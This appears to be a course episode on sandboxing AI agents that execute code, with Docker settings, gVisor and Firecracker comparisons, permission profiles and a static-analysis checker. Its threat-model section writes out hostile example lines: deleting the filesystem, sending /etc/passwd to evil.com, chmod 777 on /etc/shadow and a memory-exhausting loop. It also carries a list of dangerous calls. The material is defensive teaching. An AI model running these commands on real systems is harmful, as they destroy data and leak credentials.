MODULE 8  ยท  Security & Production

Sandboxing AI Agents: Because Code Execution Is a Loaded Gun

You gave your AI agent the ability to run Python code. It was supposed to analyze a CSV. Instead, it ran rm -rf /.

๐Ÿ“… Mar 2026
โฑ 10 min read
๐ŸŽฏ Episode 53 of 98
SandboxingSecurityCode ExecutionAI Agents
In this episode

You gave your AI agent the ability to run Python code. It was supposed to analyze a CSV file. Instead, it ran os.system("rm -rf /").

Not because it was malicious. Because the LLM saw an error, tried to "fix" it by cleaning up files, and got a little too creative. LLMs don't understand consequences. They predict tokens. And sometimes the predicted tokens are catastrophic shell commands.

The moment your AI agent can execute code, access files, or call APIs, text-based guardrails aren't enough. You need sandboxing โ€” a cage that lets the agent do useful work while preventing it from burning down your infrastructure.

Why Code Execution Is Different

Text guardrails (Episode 52) protect against the model saying bad things. Sandboxing protects against the model doing bad things.

Threat Text Guardrails Sandboxing

Offensive languageโœ… CatchesNot relevant
Harmful instructionsโœ… CatchesNot relevant
rm -rf /โŒ Too late if executedโœ… Prevents execution
Exfiltrating data via API callsโŒ Can't detectโœ… Blocks network access
Infinite loops consuming resourcesโŒ Can't preventโœ… CPU/memory limits
Reading sensitive filesโŒ Can't preventโœ… Filesystem isolation
Cryptocurrency miningโŒ Can't detectโœ… Resource limits

Text guardrails are about what the model says. Sandboxing is about what the model can do.

โšก

The Threat Model

Before building a sandbox, understand what can go wrong:

  1. Destructive Operations

python

LLM generates this "to clean up temporary files"

import shutil

shutil.rmtree("/home/user/data") # Deletes all user data

  1. Data Exfiltration

python

LLM "helpfully" sends logs to an external endpoint

import requests

with open("/etc/passwd") as f:

example
code
requests.post("https://evil.com/collect", data=f.read())
  1. Resource Exhaustion

python

LLM writes a buggy loop

snippet
code
data = []

while True:

example
code
data.append("x" * 10**6)  # Allocates until OOM
  1. Privilege Escalation

python

import subprocess

subprocess.run(["sudo", "chmod", "777", "/etc/shadow"])

  1. Lateral Movement

python

Agent tries to access other services on the network

import socket

snippet
code
s = socket.socket()

s.connect(("database-server.internal", 5432))

Now it's talking to your production database

None of these require a jailbroken model. A perfectly well-intentioned LLM can do all of these through bad reasoning, hallucinated commands, or misunderstanding the task.

๐Ÿ”ง

Container Isolation: The Foundation

Docker containers are the most common sandboxing approach. They provide OS-level isolation:

โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”

โ”‚ Host Machine โ”‚

โ”‚ โ”‚

โ”‚ โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ” โ”‚

โ”‚ โ”‚ Docker Container โ”‚ โ”‚

โ”‚ โ”‚ โ”‚ โ”‚

โ”‚ โ”‚ โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ” โ”‚ โ”‚

โ”‚ โ”‚ โ”‚ AI Agent Code โ”‚ โ”‚ โ”‚

โ”‚ โ”‚ โ”‚ Execution โ”‚ โ”‚ โ”‚

โ”‚ โ”‚ โ”‚ โ”‚ โ”‚ โ”‚

โ”‚ โ”‚ โ”‚ โ€ข Isolated filesystem โ”‚ โ”‚ โ”‚

โ”‚ โ”‚ โ”‚ โ€ข Limited network โ”‚ โ”‚ โ”‚

โ”‚ โ”‚ โ”‚ โ€ข CPU/RAM caps โ”‚ โ”‚ โ”‚

โ”‚ โ”‚ โ”‚ โ€ข No host access โ”‚ โ”‚ โ”‚

โ”‚ โ”‚ โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜ โ”‚ โ”‚

โ”‚ โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜ โ”‚

โ”‚ โ”‚

โ”‚ Host filesystem, network, other โ”‚

โ”‚ containers โ€” ALL inaccessible โ”‚

โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

Minimal Sandbox Container

dockerfile

Dockerfile for AI code execution sandbox

FROM python:3.11-slim

Create non-root user

RUN useradd -m -s /bin/bash sandbox

RUN mkdir /workspace && chown sandbox:sandbox /workspace

Install common data science packages

RUN pip install --no-cache-dir \

example
code
pandas numpy matplotlib seaborn \
    scikit-learn scipy

Remove dangerous tools

RUN apt-get remove -y wget curl netcat-openbsd 2>/dev/null; \

example
code
rm -f /usr/bin/wget /usr/bin/curl

Drop to non-root user

USER sandbox

WORKDIR /workspace

No CMD โ€” container is used for exec commands

Running Code in a Sandbox

python

import docker

import tempfile

import os

snippet
code
client = docker.from_env()
def execute_sandboxed(code: str, timeout: int = 30) -> dict:
"""Execute Python code in an isolated container"""
# Write code to a temp file
    with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False) as f:
        f.write(code)
        code_path = f.name
try:
        container = client.containers.run(
            image="ai-sandbox:latest",
            command=f"python /workspace/script.py",
            volumes={
                code_path: {"bind": "/workspace/script.py", "mode": "ro"}
            },
            # CRITICAL SECURITY SETTINGS
            mem_limit="512m",           # Max 512MB RAM
            cpu_period=100000,
            cpu_quota=50000,            # 50% of one CPU core
            network_disabled=True,       # NO network access
            read_only=True,             # Read-only filesystem
            tmpfs={"/tmp": "size=100m"}, # Small writable temp space
            user="sandbox",             # Non-root user
            security_opt=["no-new-privileges"],  # Can't escalate
            detach=True,
        )
# Wait with timeout
        result = container.wait(timeout=timeout)
        logs = container.logs().decode("utf-8")
return {
            "exit_code": result["StatusCode"],
            "stdout": logs,
            "error": None if result["StatusCode"] == 0 else logs
        }
except docker.errors.ContainerError as e:
        return {"exit_code": 1, "stdout": "", "error": str(e)}
finally:
        try:
            container.remove(force=True)
        except:
            pass
        os.unlink(code_path)

Security Settings Explained

Setting What It Does Why It Matters

mem_limit="512m"Caps memory at 512MBPrevents OOM attacks
cpu_quota=50000Limits to 50% of one CPUPrevents crypto mining
network_disabled=TrueNo network access at allPrevents data exfiltration
read_only=TrueCan't write to filesystemPrevents malware installation
user="sandbox"Runs as non-rootCan't escalate privileges
no-new-privilegesCan't gain extra permissionsDefense in depth
timeout=30Kills after 30 secondsPrevents infinite loops

๐Ÿ“Š

gVisor and Firecracker: Beyond Docker

Regular Docker containers share the host kernel. A kernel exploit in the container could compromise the host. For higher security:

snippet
code
gVisor (Google's Sandbox)

gVisor is a user-space kernel โ€” it intercepts system calls from the container and handles them in a sandboxed process:

Docker container: App โ†’ System Call โ†’ Host Kernel (shared)

gVisor container: App โ†’ System Call โ†’ gVisor Kernel โ†’ Host Kernel (filtered)

bash

Install gVisor runtime

Then use with Docker:

docker run --runtime=runsc --rm ai-sandbox:latest python script.py

gVisor blocks dangerous system calls entirely. Even if the code tries to exploit a kernel vulnerability, it hits gVisor's user-space kernel first.

snippet
code
Firecracker (AWS's microVM)

Firecracker creates lightweight micro-VMs โ€” actual virtual machines that boot in 125ms:

Docker: App โ†’ Container โ†’ Shared Kernel โ†’ Hardware

Firecracker: App โ†’ microVM โ†’ Own Kernel โ†’ Hardware

This is what AWS Lambda and Fly.io use. Each execution gets its own virtual machine with its own kernel. Complete isolation.

Comparison

Feature Docker Docker + gVisor Firecracker

Isolation Process-level Syscall-filtered VM-level

Startup time~100ms~200ms~125ms
OverheadMinimal~5-15%~5-10%
SecurityGoodVery goodExcellent
Kernel sharedYesPartiallyNo
Best forDevelopment, trusted codeProduction sandboxingMulti-tenant, untrusted code

E2B: Sandboxing as a Service

Don't want to manage sandbox infrastructure? E2B (e2b.dev) provides cloud sandboxes via API:

python

from e2b_code_interpreter import Sandbox

Create a sandbox (boots in ~150ms)

snippet
code
sandbox = Sandbox()

Execute code safely

snippet
code
execution = sandbox.run_code("""

import pandas as pd

import numpy as np

Generate sample data

snippet
code
data = pd.DataFrame({
'sales': np.random.randint(100, 1000, 50),
    'region': np.random.choice(['North', 'South', 'East', 'West'], 50)

})

snippet
code
print(data.groupby('region')['sales'].mean())

""")

snippet
code
print(execution.text)    # stdout
print(execution.error)   # stderr, if any

Upload files for the agent to work with

sandbox.files.write("/workspace/data.csv", csv_content)

Download results

snippet
code
result = sandbox.files.read("/workspace/output.png")

Sandbox auto-destroys after timeout

sandbox.close()

E2B Features

Feature Details

Boot time~150ms
LanguagesPython, JavaScript, R, Bash, more
File upload/downloadYes โ€” send data in, get results out
NetworkConfigurable โ€” allow or block
PersistenceOptional โ€” keep sandbox alive between calls
GPU supportAvailable for ML workloads
PricingPer-second billing, starts at $0.0001/sec
๐Ÿ’ก

Permission Models: What Can the Agent Do?

Beyond container isolation, you need a permission system that defines what actions are allowed:

The Principle of Least Privilege

Give the agent the minimum permissions needed for its task:

python

class AgentPermissions:

example
code
def __init__(self, config):
        self.allowed_modules = config.get("modules", [])
        self.allowed_paths = config.get("paths", [])
        self.network_allowed = config.get("network", False)
        self.max_file_size = config.get("max_file_size", 10_000_000)  # 10MB
        self.allowed_commands = config.get("commands", [])

Permission profiles for different agent types

PROFILES = {

example
code
"data_analyst": AgentPermissions({
        "modules": ["pandas", "numpy", "matplotlib", "seaborn", "scipy"],
        "paths": ["/workspace/data/*", "/workspace/output/*"],
        "network": False,
        "max_file_size": 100_000_000,  # 100MB for data files
        "commands": [],  # No shell commands
    }),
example
code
"web_researcher": AgentPermissions({
        "modules": ["requests", "beautifulsoup4", "json"],
        "paths": ["/workspace/cache/*"],
        "network": True,  # Needs internet
        "allowed_domains": ["*.wikipedia.org", "*.arxiv.org"],
        "commands": [],
    }),
example
code
"code_assistant": AgentPermissions({
        "modules": ["*"],  # Any Python module
        "paths": ["/workspace/project/*"],
        "network": False,
        "commands": ["pytest", "ruff", "mypy"],  # Only linting/testing
    }),

}

Static Code Analysis Before Execution

Before running code, scan it for dangerous patterns:

python

import ast

DANGEROUS_CALLS = {

example
code
"os.system", "os.popen", "os.exec", "os.execvp",
    "subprocess.run", "subprocess.Popen", "subprocess.call",
    "shutil.rmtree", "shutil.move",
    "eval", "exec", "compile",
    "__import__",
    "open",  # Flag but don't always block

}

snippet
code
def analyze_code_safety(code: str) -> list:
"""Static analysis to detect dangerous code patterns"""
    warnings = []
try:
        tree = ast.parse(code)
    except SyntaxError as e:
        return [f"Syntax error: {e}"]
for node in ast.walk(tree):
        # Check function calls
        if isinstance(node, ast.Call):
            func_name = get_func_name(node)
            if func_name in DANGEROUS_CALLS:
                warnings.append(
                    f"Line {node.lineno}: Dangerous call '{func_name}'"
                )
# Check imports
        if isinstance(node, ast.Import):
            for alias in node.names:
                if alias.name in ["os", "subprocess", "shutil", "socket"]:
                    warnings.append(
                        f"Line {node.lineno}: Suspicious import '{alias.name}'"
                    )
return warnings

Pre-check before execution

snippet
code
code = agent_generated_code
warnings = analyze_code_safety(code)

if warnings:

example
code
# Ask for human approval or reject
    print(f"Code flagged: {warnings}")

else:

example
code
# Safe to execute in sandbox
    execute_sandboxed(code)

๐Ÿ”ฌ

Real-World Sandbox Architectures

OpenAI Code Interpreter

OpenAI's code interpreter uses a sandboxed Jupyter kernel:

User โ†’ ChatGPT โ†’ Code Generation โ†’ Sandbox (Jupyter) โ†’ Result โ†’ User

example
code
โ”‚
                                        โ”œโ”€โ”€ Isolated container per session
                                        โ”œโ”€โ”€ No internet access
                                        โ”œโ”€โ”€ Pre-installed packages
                                        โ”œโ”€โ”€ File upload/download only
                                        โ””โ”€โ”€ Auto-destroyed after session

Anthropic's Computer Use

Claude's computer use feature runs in a sandboxed VM:

User โ†’ Claude โ†’ Action Plan โ†’ Sandbox VM โ†’ Screenshot โ†’ Claude โ†’ ...

example
code
โ”‚
                                   โ”œโ”€โ”€ Full desktop environment
                                   โ”œโ”€โ”€ Isolated from host
                                   โ”œโ”€โ”€ Network access (controlled)
                                   โ”œโ”€โ”€ Mouse/keyboard simulation
                                   โ””โ”€โ”€ Human can observe in real-time

Open-Source Agent Frameworks

Most frameworks (LangChain, CrewAI, AutoGen) support pluggable execution backends:

python

LangChain with sandboxed execution

from langchain_experimental.tools import PythonREPLTool

from langchain.tools import Tool

Instead of local execution:

tool = PythonREPLTool() # โš ๏ธ DANGEROUS โ€” runs on your machine

Use sandboxed execution:

snippet
code
def sandboxed_python(code: str) -> str:
result = execute_sandboxed(code, timeout=30)
    return result["stdout"] if not result["error"] else result["error"]
tool = Tool(
name="python_sandbox",
    func=sandboxed_python,
    description="Execute Python code in an isolated sandbox"

)

๐Ÿ›ก๏ธ

The Sandbox Checklist

Before deploying an AI agent with code execution:

โ–ก Container isolation (Docker minimum)

โ–ก Non-root user

โ–ก Memory limits

โ–ก CPU limits

โ–ก Execution timeout

โ–ก Network disabled (or allowlisted domains only)

โ–ก Read-only filesystem (except /tmp or /workspace)

โ–ก No access to host filesystem

โ–ก No access to host Docker socket

โ–ก Static code analysis before execution

โ–ก Logging of all executed code

โ–ก Human-in-the-loop for destructive operations

โ–ก Auto-destroy containers after use

๐Ÿ“ฆ

Practical Takeaways

Never run LLM-generated code on your host machine โ€” always use a sandbox

Docker is the minimum โ€” add gVisor or Firecracker for untrusted multi-tenant scenarios

E2B is the fastest path โ€” cloud sandbox API, no infrastructure to manage

Disable network by default โ€” if the agent doesn't need internet, don't give it internet

Static analysis + container isolation = defense in depth โ€” catch dangerous patterns before execution, contain damage if they slip through

Log everything โ€” every piece of code the agent generates and executes should be auditable

๐Ÿš€

What's Next?

Episode 54: Data Privacy โ€” Sandboxing protects your infrastructure. But what about your users' data? When you send a prompt to OpenAI, where does that data go? Who can see it? Is it used for training? We'll cover PII detection, data residency, GDPR compliance, and how to build AI apps that respect privacy.

โ† Previous

Ep 52: Guardrails

Next โ†’

Ep 54: Data Privacy in AI Systems

Next: Episode 54 โ€” Data Privacy in AI Systems

Every word you type into ChatGPT, every document you upload to Claude โ€” it all goes somewhere. Here's exactly where.

This is part of a 98-episode series covering AI engineering from tokens to production deployment.

โ† Previous Ep 52: Guardrails: Keeping AI on the Rails